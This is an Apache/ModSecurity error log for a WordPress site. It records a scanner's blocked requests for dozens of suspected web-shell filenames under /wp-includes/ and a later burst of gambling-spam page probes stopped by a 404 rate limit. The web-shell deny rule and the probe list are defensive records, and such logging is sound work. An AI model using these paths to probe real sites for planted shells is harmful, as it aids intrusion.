[Wed Apr 08 04:45:34.376713 2026] [:error] [pid 47626:tid 47692] [client 188.95.54.39:44406] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/colour.php"] [unique_id "adVs7qjWI8TWtHx2sdbsGAAAAFg"]
[Wed Apr 08 04:45:35.163696 2026] [:error] [pid 47626:tid 47680] [client 188.95.54.39:44418] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "adVs76jWI8TWtHx2sdbsHAAAAEw"]
[Wed Apr 08 04:45:35.684683 2026] [:error] [pid 47732:tid 47748] [client 188.95.54.39:44434] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "adVs74m4N5QW9Mh7G10YCgAAAM4"]
[Wed Apr 08 04:45:36.713305 2026] [:error] [pid 47626:tid 47681] [client 188.95.54.39:44450] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "adVs8KjWI8TWtHx2sdbsJAAAAE0"]
[Wed Apr 08 04:45:37.748464 2026] [:error] [pid 16630:tid 16648] [client 188.95.54.39:44458] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "adVs8SjfVAkPG-jgJEpmEAAAARA"]
[Wed Apr 08 04:45:38.266654 2026] [:error] [pid 16630:tid 16640] [client 188.95.54.39:44472] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about5.php"] [unique_id "adVs8ijfVAkPG-jgJEpmFQAAAQg"]
[Wed Apr 08 04:45:39.843110 2026] [:error] [pid 16630:tid 16636] [client 188.95.54.39:44474] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/db.php"] [unique_id "adVs8yjfVAkPG-jgJEpmHgAAAQQ"]
[Wed Apr 08 04:45:40.885522 2026] [:error] [pid 47625:tid 47637] [client 188.95.54.39:44488] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "adVs9CVuHyNWzZlE8PDq1AAAAAM"]
[Wed Apr 08 04:45:42.190809 2026] [:error] [pid 47626:tid 47681] [client 188.95.54.39:44492] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "adVs9qjWI8TWtHx2sdbsLQAAAE0"]
[Wed Apr 08 04:45:42.708150 2026] [:error] [pid 47732:tid 47735] [client 188.95.54.39:44502] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "adVs9om4N5QW9Mh7G10YNAAAAME"]
[Wed Apr 08 04:45:43.228653 2026] [:error] [pid 16630:tid 16644] [client 188.95.54.39:55722] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "adVs9yjfVAkPG-jgJEpmQQAAAQw"]
[Wed Apr 08 04:45:44.269709 2026] [:error] [pid 16630:tid 16642] [client 188.95.54.39:55736] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "adVs-CjfVAkPG-jgJEpmRQAAAQo"]
[Wed Apr 08 04:45:45.335976 2026] [:error] [pid 47627:tid 47699] [client 188.95.54.39:55738] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "adVs-XOljf1Quv_kDjl7iwAAAIA"]
[Wed Apr 08 04:45:45.850545 2026] [:error] [pid 47627:tid 47717] [client 188.95.54.39:55742] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/about.php"] [unique_id "adVs-XOljf1Quv_kDjl7jgAAAJI"]
[Wed Apr 08 04:45:46.626871 2026] [:error] [pid 16630:tid 16649] [client 188.95.54.39:55758] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "adVs-ijfVAkPG-jgJEpmTAAAARE"]
[Wed Apr 08 04:45:47.140319 2026] [:error] [pid 47732:tid 47749] [client 188.95.54.39:55768] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/simi.php"] [unique_id "adVs-4m4N5QW9Mh7G10YUgAAAM8"]
[Wed Apr 08 04:45:48.178524 2026] [:error] [pid 16630:tid 16644] [client 188.95.54.39:55782] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "adVs_CjfVAkPG-jgJEpmWAAAAQw"]
[Wed Apr 08 04:45:48.960944 2026] [:error] [pid 16630:tid 16648] [client 188.95.54.39:55786] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "adVs_CjfVAkPG-jgJEpmYgAAARA"]
[Wed Apr 08 04:45:49.472998 2026] [:error] [pid 47627:tid 47713] [client 188.95.54.39:55792] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "adVs_XOljf1Quv_kDjl7kQAAAI4"]
[Wed Apr 08 04:45:49.984461 2026] [:error] [pid 47626:tid 47678] [client 188.95.54.39:55804] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "adVs_ajWI8TWtHx2sdbsOAAAAEo"]
[Wed Apr 08 04:45:51.034548 2026] [:error] [pid 47627:tid 47706] [client 188.95.54.39:55814] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "adVs_3Oljf1Quv_kDjl7mQAAAIc"]
[Wed Apr 08 04:45:52.074583 2026] [:error] [pid 16630:tid 16645] [client 188.95.54.39:55816] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "adVtACjfVAkPG-jgJEpmcQAAAQ0"]
[Wed Apr 08 04:45:52.853498 2026] [:error] [pid 16630:tid 16651] [client 188.95.54.39:55832] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "adVtACjfVAkPG-jgJEpmdwAAARM"]
[Wed Apr 08 04:45:53.639321 2026] [:error] [pid 47627:tid 47707] [client 188.95.54.39:55184] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "adVtAXOljf1Quv_kDjl7ogAAAIg"]
[Wed Apr 08 04:45:55.756476 2026] [:error] [pid 47626:tid 47679] [client 188.95.54.39:55190] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "adVtA6jWI8TWtHx2sdbsTgAAAEs"]
[Wed Apr 08 04:45:56.280733 2026] [:error] [pid 16630:tid 16634] [client 188.95.54.39:55196] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "adVtBCjfVAkPG-jgJEpmmQAAAQI"]
[Wed Apr 08 04:45:57.324407 2026] [:error] [pid 47625:tid 47640] [client 188.95.54.39:55210] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "adVtBSVuHyNWzZlE8PDq7gAAAAY"]
[Wed Apr 08 04:45:58.885506 2026] [:error] [pid 47732:tid 47754] [client 188.95.54.39:55222] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "adVtBom4N5QW9Mh7G10YcQAAANQ"]
[Wed Apr 08 04:46:42.271139 2026] [autoindex:error] [pid 47627:tid 47702] [client 103.109.244.109:37246] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 08 06:00:35.533629 2026] [:error] [pid 47627:tid 47702] [client 65.108.78.33:28482] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "adV-g3Oljf1Quv_kDjmkmQAAAIM"]
[Wed Apr 08 06:00:38.035756 2026] [:error] [pid 16630:tid 16646] [client 65.108.78.33:28496] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "adV-hijfVAkPG-jgJEqxYwAAAQ4"]
[Wed Apr 08 06:00:40.668812 2026] [:error] [pid 16630:tid 16656] [client 65.108.78.33:28498] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "adV-iCjfVAkPG-jgJEqxfwAAARg"]
[Wed Apr 08 06:00:43.308336 2026] [:error] [pid 16630:tid 16648] [client 65.108.78.33:24760] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "adV-iyjfVAkPG-jgJEqxlgAAARA"]
[Wed Apr 08 06:00:45.941063 2026] [:error] [pid 47627:tid 47709] [client 65.108.78.33:24772] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adV-jXOljf1Quv_kDjmkrgAAAIo"]
[Wed Apr 08 06:00:48.484716 2026] [:error] [pid 16630:tid 16649] [client 65.108.78.33:24780] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "adV-kCjfVAkPG-jgJEqxuwAAARE"]
[Wed Apr 08 06:00:51.317880 2026] [:error] [pid 47732:tid 47738] [client 65.108.78.33:24784] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "adV-k4m4N5QW9Mh7G11L4gAAAMQ"]
[Wed Apr 08 06:00:53.782458 2026] [:error] [pid 47732:tid 47750] [client 65.108.78.33:65028] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "adV-lYm4N5QW9Mh7G11L9AAAANA"]
[Wed Apr 08 06:00:56.361995 2026] [:error] [pid 16630:tid 16641] [client 65.108.78.33:65030] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "adV-mCjfVAkPG-jgJEqx3gAAAQk"]
[Wed Apr 08 06:00:58.916310 2026] [:error] [pid 47732:tid 47735] [client 65.108.78.33:65032] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "adV-mom4N5QW9Mh7G11MFQAAAME"]
[Wed Apr 08 06:01:01.450455 2026] [:error] [pid 16630:tid 16635] [client 65.108.78.33:65046] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "adV-nSjfVAkPG-jgJEqx9AAAAQM"]
[Wed Apr 08 06:01:03.995872 2026] [:error] [pid 47627:tid 47711] [client 65.108.78.33:13024] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "adV-n3Oljf1Quv_kDjmk2gAAAIw"]
[Wed Apr 08 06:01:06.459816 2026] [:error] [pid 47627:tid 47716] [client 65.108.78.33:13026] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "adV-onOljf1Quv_kDjmk6AAAAJE"]
[Wed Apr 08 06:01:10.965990 2026] [:error] [pid 47625:tid 47646] [client 65.108.78.33:13036] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "adV-piVuHyNWzZlE8PACtwAAAAw"]
[Wed Apr 08 06:01:13.518381 2026] [:error] [pid 16630:tid 16653] [client 65.108.78.33:12968] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "adV-qSjfVAkPG-jgJEqyOwAAARU"]
[Wed Apr 08 06:01:16.089531 2026] [:error] [pid 47627:tid 47701] [client 65.108.78.33:12984] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "adV-rHOljf1Quv_kDjmlGAAAAII"]
[Wed Apr 08 06:01:18.702276 2026] [:error] [pid 16630:tid 16655] [client 65.108.78.33:13000] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "adV-rijfVAkPG-jgJEqycAAAARc"]
[Wed Apr 08 06:01:21.184446 2026] [:error] [pid 47627:tid 47701] [client 65.108.78.33:13006] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "adV-sXOljf1Quv_kDjmlPwAAAII"]
[Wed Apr 08 06:01:23.878615 2026] [:error] [pid 47627:tid 47718] [client 65.108.78.33:27294] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "adV-s3Oljf1Quv_kDjmlQwAAAJM"]
[Wed Apr 08 06:01:26.607972 2026] [:error] [pid 16630:tid 16638] [client 65.108.78.33:27300] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "adV-tijfVAkPG-jgJEqytQAAAQY"]
[Wed Apr 08 06:01:29.055355 2026] [:error] [pid 16630:tid 16656] [client 65.108.78.33:27304] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "adV-uSjfVAkPG-jgJEqy0AAAARg"]
[Wed Apr 08 06:01:31.654747 2026] [:error] [pid 47732:tid 47741] [client 65.108.78.33:27314] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "adV-u4m4N5QW9Mh7G11M3gAAAMc"]
[Wed Apr 08 06:02:02.089548 2026] [:error] [pid 16630:tid 16643] [client 65.108.78.33:8640] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "adV-2ijfVAkPG-jgJEqzuQAAAQs"]
[Wed Apr 08 06:02:04.607358 2026] [:error] [pid 47625:tid 47650] [client 65.108.78.33:10872] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "adV-3CVuHyNWzZlE8PADCgAAABA"]
